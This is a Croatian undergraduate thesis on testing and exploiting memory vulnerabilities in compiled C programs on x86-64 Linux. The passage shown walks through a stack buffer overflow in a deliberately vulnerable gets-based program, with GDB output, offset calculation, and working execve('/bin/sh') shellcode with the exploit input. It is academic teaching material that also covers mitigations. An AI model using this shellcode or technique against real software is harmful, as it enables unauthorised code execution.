Ispitivanje ranjivosti izvršnog programskog koda

Kožnjak, Luka

Undergraduate thesis / Završni rad

2019

Degree Grantor / Ustanova koja je dodijelila akademski / stručni stupanj: **University of Zagreb, Faculty of Organization and Informatics / Sveučilište u Zagrebu, Fakultet organizacije i informatike**

Permanent link / Trajna poveznica: https://urn.nsk.hr/urn:nbn:hr:211:608148

Rights / Prava: Attribution 3.0 Unported/Imenovanje 3.0

Download date / Datum preuzimanja: **2024-04-19**

SVEUČILIŠTE U ZAGREBU
FAKULTET ORGANIZACIJE I INFORMATIKE
VARAŽDIN

Repository / Repozitorij:

Faculty of Organization and Informatics - Digital Repository

zir.nsk.hr

DIGITALNI AKADEMSKI ARHIVI I REPOZITORIJI

SVEUČILIŠTE U ZAGREBU
FAKULTET ORGANIZACIJE I INFORMATIKE
VARAŽDIN

Luka Kožnjak

ISPITVANJE RANJIVOSTI IZVRŠNOG PROGRAMSKOG KODA

ZAVRŠNI RAD

Varaždin, 2019.

SVEUČILIŠTE U ZAGREBU

FAKULTET ORGANIZACIJE I INFORMATIKE

V A R A Ž D I N

Luka Kožnjak

Matični broj: 44919/16-R

Studij: Informacijski sustavi

ISPITVANJE RANJIVOSTI IZVRŠNOG PROGRAMSKOG KODA

ZAVRŠNI RAD

Mentor :

Dr. sc. Ivan Magdalenić

Varaždin, srpanj 2019.

Luka Kožnjak

Izjava o izvornosti

Izjavljujem da je moj završni rad izvorni rezultat mojeg rada te da se u izradi istoga nisam koristio drugim izvorima osim onima koji su u njemu navedeni. Za izradu rada su korištene etički prikladne i prihvatljive metode i tehnike rada.

Autor potvrdio prihvaćanjem odredbi u sustavu FOI-radovi

Sažetak

Tema ovog završnog rada je ispitivanje, ali i iskorištavanje različitih memorijskih ranjivosti programa izvršnog koda. Samim time, završni rad prikazuje razne tehnike otkrivanja i iskorištavanja memorijskih ranjivosti, ali i sigurnosne metode mitigacije koje se koriste na različitim razinama kako bismo smanjili neke od rizika ovakvih ranjivosti. Također, prikazati ćemo kako se nije dovoljno osloniti na ugrađene sigurnosne mehanizme kompajlera i operacijskih sustava, već kako je uvijek potrebno pisati kod imajući na umu sveukupnu sigurnost programskog koda.

Ključne riječi: sigurnost;ranjivosti;binarna eksploatacija;izvšni kod

Sadržaj

1. Uvod 1

2. Metode i tehnike rada 2

3. Razrada teme - Općenito o ispitivanju ranjivosti izvršnog programskog koda . 3
3.1. Jednostavan preljev spremnika na stogu – izvršavanje proizvoljnog koda 3
3.1.1. ASLR – Address Space Layout Randomization 11
3.1.2. NX bit 12
3.2. ROP – Return Oriented Programming 13
3.2.1. Provjera integriteta povratne adrese – stack canary 17
3.3. Ranjivosti formatiranih stringova 18
3.4. Prevljev spremnika na hrpi 27
3.5. Use-after-free ranjivosti 34

4. Zaključak 46

Popis literature 49

1. Uvod

Sigurnost programa izvršnog programskog koda važan je dio područja računalne sigurnosti te se svakodnevno pronalaze razne kritične sigurnosne ranjivosti unutar programa izvršnog koda. Unatoč učestalosti otkrića novih ranjivosti izvršnih programa, ovom se području računalne sigurnosti često ne pridodaje dovoljno važnosti.

Svaki izvršni program sastoji se od velikog broja procesorskih instrukcija koje zajedno obavljaju neki posao. Iako se jednim dijelom kompajler brine o sigurnosti programa, kao i operacijski sustav, ali i korištene biblioteke koje gotovo neophodno koristimo u svakom programu, vrlo često dolazi do suptilnih propusta u kodu koje u konačnici mogu imati značajan utjecaj na sigurnost cijelog programa. Naime, iako postoje tehnike zaštite operacijskih sustava, korištenih biblioteka i kompajlera koje pokušavaju jednim dijelom eliminirati određene sigurnosne ranjivosti, te se različite tehnike zaštite ne mogu u potpunosti pobrinuti za sve propuste koje uvodi ljudski faktor prilikom pisanja programskog koda. Upravo iz tog razloga unatoč velikom broju implementiranih sigurnosnih mehanizama svakodnevno se pronalaze nove, uzbudljive ranjivosti izvršnih programa, koje vrlo često imaju veliki utjecaj na područje računarstva, upravo zbog tih novih otkrića. Nadalje, vrlo često nam nije dovoljna samo jedna ranjivost programa izvršnog koda, već je potrebno ulančati nekoliko ranjivosti kako bismo postigli željeni rezultat, bilo to daljinsko izvršavanje koda, lokalna eskalacija korisničkih privilegija ili nešto sasvim drugo. U ovom ću završnom radu opisati neke česte vrste ranjivosti izvršnog programskog koda, iste ranjivosti prikazati na primjerima u C programskom jeziku na x86-64 arhitekturi te prikazati tehnike zaštite koje se koriste kako bi se te ranjivosti mitigirale, ali također i tehnike kako bi se ti prisutni mehanizmi zaštite barem donekle zaobišli.

2. Metode i tehnike rada

Prilikom razrade izabrane teme korišten je velik broj različitih istraživačkih metoda. Najviše su korištene stručne literature koje pokrivaju područje sigurnosnog testiranja programa izvršnog koda, kao i razvoj exploita, odnosno iskorištavanja sigurnosnih ranjivosti programa izvršnog koda. Također, u velikoj mjeri korišteni su GNU/Linux priručnici za C programski jezik, koji jasno definiraju različite funkcije C programskog jezika, kao i neke njihove potencialne sigurnosne ranjivosti. Osim toga, također su korišteni različiti znanstveni članci kao i različita dokumentacija operacijskih sustava i procesorskih arhitektura, koji pobliže razrađuju neke od koncepata potrebnih za uspješno iskorištavanje popularnih ranjivosti izvršnih programa.

Kako bismo primjere pobliže objasnili, koristimo programske alate poput GNU Debuggera (zajedno sa tzv. *Python Exploit Development Assistance* razvojnim okvirom) za prikaz ranjivosti i rastavljanje (eng. *disassembling*) programskog koda u strojni kod. Također, koristimo i neke alate iz programskog paketa *Radare2* kako bismo jednostavnije iskoristili ranjivosti određenih programskih primjera. Nadalje, koristimo *Python* biblioteku *pwntools* za jednostavnu interakciju s pokrenutim procesom u primjeru za prikaz ranjivosti formatiranih ispisa. Za svaki primjer prikazan je izvorni kod programa, korištene zastavice prilikom kompajliranja programa, ranjivosti prikazane u strojnom kodu te memorijski kontekst prilikom izvršavanja određenih instrukcija prikazanog strojnog koda, ali i velik broj drugih informacija koje su potrebne kako bismo ove ranjivosti što bolje razumjeli.

3. Razrada teme - Općenito o ispitivanju ranjivosti izvršnog programskog koda

Velik broj programskih jezika, različitih računalnih arhitektura, kao i operacijskih sustava čini područje testiranja sigurnosti izvršnog programskog koda vrlo opsežnim te je upravo iz tog razloga striktno tehnički dio ovog rada primjenjiv na točno određenu vrstu sustava. Preciznije, svi primjeri izrađeni su u C programskom jeziku, na x86 arhitekturi na GNU/Linux operacijskom sustavu. Iako su generalni koncepti primjenjivi na velik broj različitih arhitektura, kao i operacijskih sustava i programskih jezika, striktno tehnički dio ispitivnja i iskorištavanja pronađenih ranjivosti razlikuje se kod gotovo svake konfiguracije sustava. U svakom poglavlju prikazati ćemo jedan oblik sigurnosnog propusta izvršnog programa te na primjeru pobliže objasniti koncept iskorištavanja takve ranjivosti, kao i limitacije i probleme na koje nailazimo u tom procesu. Nakon svakog primjera prikazati ćemo neke od sigurnosnih mehanizama koji se koriste (bilo u operacijskom sustavu, kompajleru ili korištenim bibliotekama) kako bi se iskorištavanje takvih ranjivosti znatno otežalo. Svaka naredna ranjivost koja će biti prikazana koristiti će objašnjene sigurnosne mehanizme zaštite te ćemo predstavit način na koji bi se takvi sigurnosni mehanizmi možda mogli zaobići. Počinjemo od prvog primjera, koji pokazuje program sa velikim brojim onemogućenih sigurnosnih mehanizma te je kao takav u nekakvom tzv. najranjivijem stanju, gdje imamo velik broj mogućnosti za iskorištavanje takve ranjivosti.

3.1. Jednostavan preljev spremnika na stogu – izvršavanje proizvoljnog koda

Do preljeva spremnika (eng. *buffer overflow*) dolazi kada se u spremnik podataka unutar aplikacije unese više podataka nego što je taj spremnik spreman pohraniti. [1] To se može dogoditi na čitav niz različitih načina - prilikom čitanja korisnikovog unosa, čitanja nekakve konfiguracijske datoteke, varijable okruženja ili zapravo bilo koje druge operacije čitanja podataka. Nakon što program pročita više podataka nego što je spreman primiti, program počinje pisati preko postojećih podataka u memoriji, bilo to na stogu ili hrpi, što može dovesti do velikog broja kritičnih sigurnosnih propusta. Iako velik broj programskih jezika i biblioteka implementira različite metode zaštite kako bi se taj propust spriječio (poput skraćivanja količine podataka ili dinamičnom promjenom veličine spremnika), ova se ranjivost još uvijek može vrlo često naći u velikom broju programa izvršnog koda. Kako bismo prikazali takav preljev spremnika, u ovom primjeru korisnimo funkciju ‘gets‘ iz standardne C biblioteke, za koju je poznato da ne ograničava količinu podataka koja se unosi u spremnik fiksne veličine. Iako ovaj problem postoji i u velikom broju drugih funkcija za unos podataka iz C standarne biblioteke (kao i u drugim jezicima i bibliotekama), poput funkcije ‘scanf‘ ako se ne koristi pravilno, funkciju ‘gets‘ izabrali smo upravo zato jer GNU C kompajler izdaje sigurnosno upozorenje čim u izvornom kodu naiđe na poziv spomenute funkcije. Nadalje, kako bismo uspješno iskoristili ovu ranjivost, nije dovoljno samo izazvati preljev spremnika, već prepisati postojeće podatke nekim drugim smislenim podacima kojima ćemo promijeniti tijek izvođenja programa. Naime, ako postojeće podatke koje

stoje iza spremnika prepišemo nasumičnim podacima (pogotovo na stogu), to će vrlo vjerojatno rezultirati SIGSEGV signalom, koji najčešće ukazuje na pogrešno upravljanje memorijom, poput pisanja ili čitanja nepostojeće memorijske lokacije ili memorijskog segmenta na kojima to ne bismo smjeli raditi. [2] U ovom primjeru isključiti ćemo gotovo sve mjere zaštite kako bismo prikazali program u svojem najranjivijem stanju.

Svaki program sastoji se od niza memorijskih segmenta, poput segmenta gdje se nalazi programski kod, gdje se nalaze učitane biblioteke, različite tablice koje sadrže memorijske lokacije funkcija biblioteka, programski stog, hrpa i slično. Svaki od tih segmenata ima određene zastavice koje određuju dopuštenja koje korisnik ima nad tim segmentima, poput čitanja, pisanja i izvršavanja instrukcija. Kako se u ovom primjeru spremnik u kojeg se učitavaju podaci nalazi na stogu, preljevom spremnika prepisivati ćemo podatke na stogu. Iako nam je često dovoljno prepisati samo nekolicinu podataka na stogu kako bismo promijenili tok programa na željeni način, kako bismo u ovom primjeru pokazali najnižu razinu zaštite, podatke na stogu prepisati ćemo proizvoljnim instrukcijama. Kako bismo mogli izvršavati instrukcije sa stoga, tom segmentu programske memorije moramo eksplicitno pridodati dopuštenje izvršavanja instrukcija.

```
include <stdio.h>

int main(){
    char name[50];
    printf("Enter your name: ");
    fflush(stdin);
    gets(name);
    printf("Welcome, %s\n", name);
    return 0;
}
```

Iako je ovaj programski primjer iznimno jednostavan te je u ovom slučaju propust vrlo jasno vidljiv, u kompleksnijim programskim rješenjima vrlo se lako može potkrasti ovakva pogreška. Na početku programa definirali smo spremnik koji može primiti 50 znakova, odnosno 50 bajtova jer je tip podataka `char` veličine jednog bajta. Nakon toga ispisujemo jednostavnu poruku, tražimo korisnika za unos funkcijom `gets` iz biblioteke `stdio.h` te ispisujemo pozdravnu poruku i izlazimo iz programa. Naime, korisnika tražimo za unos funkcijom 'gets' za koju smo već prethodno napomenuli da se ne preporuča koristiti po trenutnom C standardu i za koju znamo da ne provjerava veličinu korisnikovog unosa.

Program kompajliramo sa GNU C kompajlerom na sljedeći način:

```
gcc primjer01.c -fno-stack-protector -z execstack -o primjer01 -no-pie
```

Zastavice koje koristimo prilikom kompajliranja su sljedeće:

- `-fno-stack-protector` – onemogućuje tzv. stack canary, odnosno provjeru preljeva podataka izvan trenutnog okvira stoga
- `-z execstack` – omogućava izvršavanje instrukcija pohranjenih na stogu – prosljeđuje se tzv. linkeru

- `-no-pie` – onemogućava nasumične adrese programskog koda u virtualnoj memoriji – također se proslijeđuje linkeru

[3]

Svaku od zastavica pobliže ćemo objasniti prilikom objašnjavanja odgovarajućih mehanizama zaštite, koje se koriste kako bi se upravo ovakve ranjivosti dijelom mitigirale.

Kompajlirani program sada možemo pokrenuti, provjeriti da se program izvršava normalno kada unesemo tekst manji od 50 bajtova te da se program "ruši" kada unesemo predug tekst, odnosno da dolazi do segmentacijske pogreške, signalom SIGSEGV.

U GNU debuggeru možemo pokrenuti program te rastaviti glavni dio programa na assemblerske instrukcije nakon čega vrlo brzo uočavamo poziv ‘gets‘ funkcije.

```
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000401146 <+0>:     push   rbp
   0x0000000000401147 <+1>:     mov    rbp,rsp
=> 0x000000000040114a <+4>:     sub    rsp,0x40
   0x000000000040114e <+8>:     lea    rdi,[rip+0xeaf]        # 0x402004
   0x0000000000401155 <+15>:    mov    eax,0x0
   0x000000000040115a <+20>:    call   0x401030 <printf@plt>
   0x000000000040115f <+25>:    mov    rax,QWORD PTR [rip+0x2eda]        # 0x404040
       <stdin@@GLIBC_2.2.5>
   0x0000000000401166 <+32>:    mov    rdi,rax
   0x0000000000401169 <+35>:    call   0x401050 <fflush@plt>
   0x000000000040116e <+40>:    lea    rax,[rbp-0x40]
   0x0000000000401172 <+44>:    mov    rdi,rax
0x0000000000401175 <+47>:    mov    eax,0x0
   0x000000000040117a <+52>:    call   0x401040 <gets@plt>
   0x000000000040117f <+57>:    lea    rax,[rbp-0x40]
   0x0000000000401183 <+61>:    mov    rsi,rax
   0x0000000000401186 <+64>:    lea    rdi,[rip+0xe8b]        # 0x402018
   0x000000000040118d <+71>:    mov    eax,0x0
   0x0000000000401192 <+76>:    call   0x401030 <printf@plt>
   0x0000000000401197 <+81>:    mov    eax,0x0
   0x000000000040119c <+86>:    leave
   0x000000000040119d <+87>:    ret
End of assembler dump.<Paste>
```

Možemo postaviti prijelomnu točku (eng. *breakpoint*) nakon poziva funkcije gets te provjeriti stanje na stogu gdje se nalazi naš unos. U ovom ćemo primjeru unijeti tekst "Primjer 1" te ćemo nakon toga provjeriti stanje stoga i registara.

```
gdb-peda$ b* 0x000000000040117f
Breakpoint 2 at 0x40117f
gdb-peda$ c
Continuing.
Unesite svoje ime: Primjer 1
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe4c0 ("Primjer 1")
RBX: 0x0
```

```
RCX: 0x7ffff7f85860 --> 0xfbad2288
RDX: 0x7ffff7f883f0 --> 0x0
RSI: 0x312072656a6d6972 ('rimjer 1')
RDI: 0x7fffffffe4c1 ("rimjer 1")
RBP: 0x7fffffffe500 --> 0x4011a0 (<__libc_csu_init>:    endbr64)
RSP: 0x7fffffffe4c0 ("Primjer 1")
RIP: 0x40117f (<main+57>:       lea    rax,[rbp-0x40])
R8 : 0x7fffffffe4c0 ("Primjer 1")
R9 : 0x0
R10: 0x7ffff7f8d500 (0x00007ffff7f8d500)
R11: 0x246
R12: 0x401060 (<_start>:        endbr64)
R13: 0x7fffffffe5e0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401172 <main+44>:  mov    rdi,rax
   0x401175 <main+47>:  mov    eax,0x0
   0x40117a <main+52>:  call   0x401040 <gets@plt>
=> 0x40117f <main+57>:  lea    rax,[rbp-0x40]
   0x401183 <main+61>:  mov    rsi,rax
   0x401186 <main+64>:  lea    rdi,[rip+0xe8b]        # 0x402018
   0x40118d <main+71>:  mov    eax,0x0
   0x401192 <main+76>:  call   0x401030 <printf@plt>
[-------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4c0 ("Primjer 1")
0008| 0x7fffffffe4c8 --> 0x400031 --> 0xb00380040000000 ('')
0016| 0x7fffffffe4d0 --> 0x0
0024| 0x7fffffffe4d8 --> 0x0
0032| 0x7fffffffe4e0 --> 0x4011a0 (<__libc_csu_init>:   endbr64)
0040| 0x7fffffffe4e8 --> 0x401060 (<_start>:    endbr64)
0048| 0x7fffffffe4f0 --> 0x7fffffffe5e0 --> 0x1
0056| 0x7fffffffe4f8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x000000000040117f in main ()
gdb-peda$ x/20wx $rsp
0x7fffffffe4c0: 0x6d697250      0x2072656a      0x00400031      0x00000000
0x7fffffffe4d0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe4e0: 0x004011a0      0x00000000      0x00401060      0x00000000
0x7fffffffe4f0: 0xffffe5e0      0x00007fff      0x00000000      0x00000000
0x7fffffffe500: 0x004011a0      0x00000000      0xf7defee3      0x00007fff
gdb-peda$ x/s $rsp
0x7fffffffe4c0: "Primjer 1"
```

Nakon poziva `gets` funkcije, jasno vidimo poziciju našeg unosa na stogu. Naredbom `x /20wx $rsp` možemo vidjeti 20 riječi koje su zadnje postavljene na stog, odnosno tom naredbom ispisujemo 20 riječi u heksadecimalnom zapisu počevši od memorijske adrese na koju pokazuje pokazivač stoga `rsp`. Također, naredbom `x/s $rsp` možemo vidjeti string koji se nalazi na vrhu stoga, tj. na memorijskoj lokaciji na koju pokazuje registar `rsp`, odnosno pokazivač stoga.

Iz svih ovih prikupljenih podataka jednostavno možemo izračunati koliko nam je točno bajtova unosa potrebno kako bismo prepisali tzv. return pointer, tj. pokazivač koji pokazuje memorijsku adresu na koju je potrebno "skočiti" prilikom izlaska iz funkcije. Podsjetimo se, prilikom svakog poziva funkcije (instrukcijom `call`) postavlja se okvir za stog (eng. *stack frame*), koji pohranjuje sadržaj `rbp` registra (eng. *base pointer register*) na stog, te kopira vrijednost registra `rsp` u registar `rbp` te nakon toga alocira veličinu stoga koji je potreban funkciji smanjivanjem `rsp` registra za određen broj bajtova (memorijske adrese na x86 arhitekturama se smanjuju s veličinom). Prilikom izlaska iz funkcije instrukcija `leave` efektivno vraća stanje stoga na stanje prije ulaska u fukciju te bi se mogla razdvojiti na dvije instrukcije, a to su `mov rsp, rbp` i `pop rbp`, što je upravo suprotna procedura od postavljanja okvira stoga. Nakon instrukcije `leave` nalazi se instrukcija `ret`, koja je zapravo jednaka instrukciji `pop rip`, što znači da pohranjuje sadržaj memorijske lokacije na koju pokazuje registar `rsp` u registar `rip`, odnosno pohranjuje taj sadržaj u programsko brojilo te odmah povećava vrijednost (memorijsku adresu) registra `rsp` za određeni broj bajtova, kao i svaka `pop` instrukcija. (na x86-64 arhitekturi za jedan tzv. dword, odnosno za 64 bita, jer se radi o 64 bitnoj arhitekturi). [4]

Stoga, broj bajtova potrebnih kako bismo dosegli memorijsku adresu za `ret` instrukciju i tako skočili na proizvoljan dio koda možemo odrediti na sljedeći način – od memorijske lokacije na koju pokazuje registar `rbp` oduzmemo adresu memorijske lokacije na koju pokazuje registar `rsp` te dodamo 8 bajtova, zbog spomente `leave` instrukcije koja uzima adresu sa stoga i time smanjuje (odnosno povećava memorijsku lokaciju pokazivača) stoga.

U ovom slučaju: `0x7fffffffe500 (rbp)- 0x7fffffffe4c0 (rsp)+ 8 = 72`.

Nadalje, drugi način kako bismo mogli čak jednostavnije saznati broj bajtova koji nam je potreban kako bismo dosegli povratnu adresu za ret instrukciju na stogu je koristeći tzv. De Brujinov slijed. Naime, De Brujinov slijed (odnosno sekvenca) je slijed u kojem se svaki podskup veličine n nalazi točno jednom, i na točno određenoj poziciji. To znači da možemo generirati skup znakova proizvoljne veličine i za bilo koji podskup određene veličine saznati točno na kojoj se poziciji od početka slijeda taj podskup nalazi. Alat `ragg2` iz paketa `radare2` pruža nam upravo tu mogućnost. Sa naredbom `ragg2 -P N -r` možemo generirati De Brujin slijed veličine N, te takav slijed unijeti kao naše "ime" u ovom primjeru. Naime, ukoliko generiramo De Brujin slijed dovoljne veličine i pokrenemo program u GDB debuggeru, program će završiti segmentacijskom pogreškom (odnosno signalom SIGSEGV), na kojem će mjesu GDB automatksi postaviti prijelmnu točku te nam omogućiti prikaz stanja registara, gdje onda jednostavno možemo vidjeti koju smo vrijednost pokušali "ubaciti" u `rip` registar, odnosno koju smo nepostojeću memorijsku adresu pokušali referencirati. Nakon toga ponovno možemo iskoristiti alat `ragg2` kako bismo jednostavno izračunali na kojoj poziciji u De Brujin slijedu nalazi podatak kojeg smo pokušali unijeti u `rip` registar, odnosno kolika veličina unosa nam je potrebna kako bismo dosegnuli registar `rip` i tako "skočili" na proizvoljno mjesto u programskoj memoriji.

```
gdb-peda$ r <<< $(ragg2 -P 100 -r)
Starting program: /home/laki/Documents/Faks/zavrsni/primjeri/stack/
    simple_overflow_shellcode <<< $(ragg2 -P 100 -r)
Unesite svoje ime: Pozdrav, AAABAACAADAAEAAFAAGAAHAA...

Program received signal SIGSEGV, Segmentation fault.
```

```
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x405260 ("Unesite svoje ime: Pozdrav, AAABAACAADAAEAAFAAGAAHAA...\n")
RDI: 0x0
RBP: 0x4141584141574141 ('AAWAAXAA')
RSP: 0x7fffffffe508 ("YAAZAAaAAbAAcAAdAAeAAfAAgAAh")
RIP: 0x40119d (<main+87>:       ret)
R8 : 0xffffffff
R9 : 0x6e ('n')
R10: 0x7fffffffe4c0 ("AAABAACAADAAEAAFAAGAAHAA...")
R11: 0x246
R12: 0x401060 (<_start>:        endbr64)
R13: 0x7fffffffe5e0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401192 <main+76>:  call   0x401030 <printf@plt>
   0x401197 <main+81>:  mov    eax,0x0
   0x40119c <main+86>:  leave
=> 0x40119d <main+87>:  ret
   0x40119e:    xchg   ax,ax
   0x4011a0 <__libc_csu_init>:  endbr64
   0x4011a4 <__libc_csu_init+4>:        push   r15
   0x4011a6 <__libc_csu_init+6>:        lea    r15,[rip+0x2c53]        # 0x403e00
[-------------------------------------stack-------------------------------------]
0000| 0x7fffffffe508 ("YAAZAAaAAbAAcAAdAAeAAfAAgAAh")
0008| 0x7fffffffe510 ("AbAAcAAdAAeAAfAAgAAh")
0016| 0x7fffffffe518 ("AAeAAfAAgAAh")
0024| 0x7fffffffe520 --> 0x68414167 ('gAAh')
0032| 0x7fffffffe528 --> 0x401146 (<main>:      push   rbp)
0040| 0x7fffffffe530 --> 0x0
0048| 0x7fffffffe538 --> 0xef439cf5f280432a
0056| 0x7fffffffe540 --> 0x401060 (<_start>:    endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040119d in main ()
gdb-peda$ x/gx $rsp
0x7fffffffe508: 0x416141415a414159
gdb-peda$ shell ragg2 -q 0x416141415a414159
Little endian: 72
Big endian: -1
```

Sada kada znamo koliko bajtova nam je potrebno kako bismo dosegli povratnu adresu za izlaz iz funkcije te kako prusmjeriti tok izvršavanja programa, imamo gotovo potpunu kontrolu nad tijekom izvršavanja programa. Naime, kako smo program kompajlirali sa posebnim zastavicama koje nam omogućavaju izvršavanje instrukcija sa stoga, na stog možemo ubaciti vlastiti isječak programskog koda, tj. shellcode i jednostavno "skočiti" na memorijsku adresu gdje naš

programski kod počinje. [5] U takvom scenariju, najčešće nam je cilj preusmjeriti tok izvršavanja programa na način da dobijemo potpunu kontrolu nad ljuskom (eng. shell) operacijskog sustava. Drugim riječima, cilj nam je pokrenuti `/bin/sh`. Kako bismo uspješno skočili na vlastiti isječak programskog koda (tzv. shellcode), prvo je potrebno pronaći mjesto u memoriji na koje bismo ga mogli pohraniti te nakon toga izvršiti. Naime, kako smo ovaj primjer kompajlirali sa zastavicom `-z execstack`, linker je memorijskoj sekciji na kojoj se nalazi stog dodao dopuštenje izvršavanja instrukcija, što znači da naš programski isječak možemo jednostavno postaviti na stog, skočiti na memorijsku lokaciju na kojoj se nalazi i izvršiti postavljeni kod. Shellcode kojeg ćemo koristiti vrlo je jednostavan te se sastoji od svega 30 bajtova.

```
xor     rdx, rdx
mov     rbx, 0x68732f6e69622f2f
shr     rbx, 0x8
push    rbx
mov     rdi, rsp
push    rdx
push    rdi
mov     rsi, rsp
mov     al, 0x3b
syscall
```

Cijeli kod sastoji se od svega 10 instrukcija te ne sadrži tzv. null bajtove, odnosno bajtova sa vrijednošću nula. Naime, kako su stringovi u C programskom jeziku proizvoljne duljine i zapravo su nizovi znakova (`char`), na kraju gotovo svakog stringa dodaje se null byte, kao znak završetka tog stringa. Vrlo često se čitanje podataka iz standardnog (ili nekog drugog ulaza) ponaša na isti način, te null byte vrlo često označava kraj ulaza. [6] Iako se funkcija `gets` ne ponaša na taj način (`man gets`), važno je napomenuti da vrlo često izbjegavamo null bajtove u shellcode-u. Upravo iz tog razloga koristimo instrukcije poput `xor rdx, rdx` umjesto `mov rdx, 0`, za npr. postavljanje vrijednosti 0 u registar `rdx`. Također, u registar `rbx` pohranjujemo možda naizgled čudnu vrijednost, ali se zapravo radi o heksadecimalnoj reprezentaciji stringa `//bin /sh` – taj je string duljine 8 bajtova, odnosno pune veličine koje registar na x86-64 arhitekturi može poprimiti, upravo kako bismo izbjegli spomenute null bajtove, a također moramo uzeti u obzir da je x86 arhitektura tzv. little endian arhitektura, što znači da bajtove moramo unijeti u obrnutom redoslijedu, zbog načina spremanja podataka u memoriji, gdje se značajniji bajtovi nalaze na višim memorijskim adresama. Kako nakon toga imamo jednu kosu crtu viška (pokušavamo pokrenuti `/bin/sh`), vrijednost u registru `rbx` pomičemo udesno za 8 bajtova, kako bismo "izbrisali" nepotrebnu kosu crtu. Vrijednost iz registra `rbx` postavljamo na stog te adresu na kojoj se nalazi na stogu pohranjujemo u registar `rdi`, jer sistemski poziv `execve` očekuje adresu naziva programa kojeg je potrebno pokrenuti u registru `rdi`, polje argumenta programu u registru `rsi` te adresu polja varijabla okoline u registru `rdx`. [7] Kako bismo dobili interaktivnu ljusku, cilj nam je pozvati `execve("/bin/sh", ["/bin/sh"], NULL)`.

Kako bismo pokrenuli napisani program, potrebno je prvo pretvoriti assemblerske instrukcije u "čiste" bajtove koje procesor može izvršiti. Drugim riječima, potrebno je prevesti napisani program. Iako bismo program teoretski mogli kompajlirati s `gcc` alatom, ili sa `nasm` assemblerom, te iskopirati željene bajtove iz izvršnog programa, najjednostavnije nam je iskoristiti funkcionalnost alata `rasm2` iz paketa `radare2` koji pruža upravo traženu funkcionalnost.

Program možemo pokrenuti sa `rasm2 -a x86 -b64 -C -` te mu kroz standardni ulaz proslijediti napisani program. Kao rezultat program nam vraća bajtove u C znakovnoj notaciji.

Preostaje nam samo proslijediti napisani program kao ulaz našem primjeru te skočiti na mjesto u memoriji gdje naš program započinje. Naime, kako nam ulaz nije ograničen, slobodno možemo dodati tzv. nop sled, odnosno niz instrukcija `nop` koje nemaju apsolutno nikakav efekt na tijek programa, ali koje možemo koristiti kako bi si dali malo "slobodnog prostora" prilikom skakanja na memorijsku adresu gdje naš program započinje. Kako se instrukcija `nop` sadrži se od samo jednog bajta (0x90), možemo biti sigurni da će se naš programski isječak (odnosno shellcode) izvršiti čak i ako promašimo njegovu memorijsku adresu za nekoliko bajtova, to nam pruža vrstu osiguranja koju ne bismo inače imali, jer kada bismo npr. skočili jedan bajt predaleko od mjesta gdje naš programski isječak započinje, procesor bi interpretirao neke instrukcije na pogrešan način, te bi se program vrlo vjerojatno zaustavio signalom `SIGSEGV` ili signalnom `SIGILL`.

Konačno, kako bismo konstruirali naš ulaz i iskoristili ovu ranjivost, potrebno nam je sljedeće – 72 znaka nasumičnog ulaza, adresa na kojoj nam se nalazi shellcode, niz nop instrukcija te nakon toga programski isječak kojim ćemo pokrenuti ljusku operacijskog sustava.

Kako bismo saznali adresu na koju je potrebno skočiti te na kojoj će se nalaziti naš programski isječak, prvo moramo saznati adresu na kojoj se nalazi unos našeg imena, tj. memorijsku lokaciju spremnika. Naime, prije poziva funkcije `gets`, kojoj prosljeđujemo pokazivač na spremnik podataka, memorijska lokacija spremnika nalazi se u registru `rdi`. Možemo postaviti prijelomnu točku na adresi `0x000000000040117a` gdje se nalazi poziv funkcije gets te ispisati vrijednost registra `rdi`.

```
gdb-peda$ print $rdi
$1 = 0x7fffffffe4c0
```

Sada imamo sve informacije koje su nam potrebne kako bismo uspješno iskoristili ranjivost ovog primjera. Naime, unos konstruiramo na sljedeći način:

- 72 proizvoljna znaka – npr. slovo A koje se ponavlja 72 puta
- Memorijska lokacija na kojoj nam se nalazi programski isječak – lokacija spremnika (`0x7fffffffe4c0`) + 72 proizvoljna znaka + 8 bajtova na kojoj nam je pohranjen ovaj podatak na stogu, povratna adresa funkcije, koju koristimo kao "skok" na naš programski isječak

  `(0x7fffffffe4c0 + 72 + 8 = 0x7fffffffe510)`
- Niz `nop` instrukcija proizvoljne duljine
- Programski isječak koji u ovom slučaju poziva ljusku operacijskog sustava

Također, prilikom prepisivanja povratne adrese funkcije, važno je uzeti u obzir da je x86 tzv. little-endian arhitektura, pa stoga bajtove memorijske lokacije moramo unijeti u obrnutom redoslijedu. Nakon što smo kontruirali cijeli unos potreban kako bismo iskoristili ovakvu ranjivost, možemo je isprobati unutar GNU debuggera.

```
gdb-peda$ r <<< $(ragg2 -P 72 -r; echo -ne "\x10\xe5\xff\xff\xff\x7f\x00\x00"; echo
    -e "\x90\x90\x90\x90\x90\x90\x90\x48\x31\xD2\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73
    \x68\x48\xC1\xEB\x0
8\x53\x48\x89\xE7\x52\x57\x48\x89\xE6\xB0\x3B\x0F\x05")
Starting program: /home/laki/Documents/Faks/zavrsni/primjeri/stack/
    simple_overflow_shellcode <<< $(ragg2 -P 72 -r; echo -ne "\x10\xe5\xff\xff\xff\
    x7f\x00\x00"; echo -e "\x90\x90\x90$
x90\x90\x90\x90\x48\x31\xD2\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\
    x53\x48\x89\xE7\x52\x57\x48\x89\xE6\xB0\x3B\x0F\x05")
Unesite svoje ime: Pozdrav, AAABAACAADAAEAAFAAGAAHAA...
process 16707 is executing new program: /usr/bin/bash
[Inferior 3 (process 16707) exited normally]
```

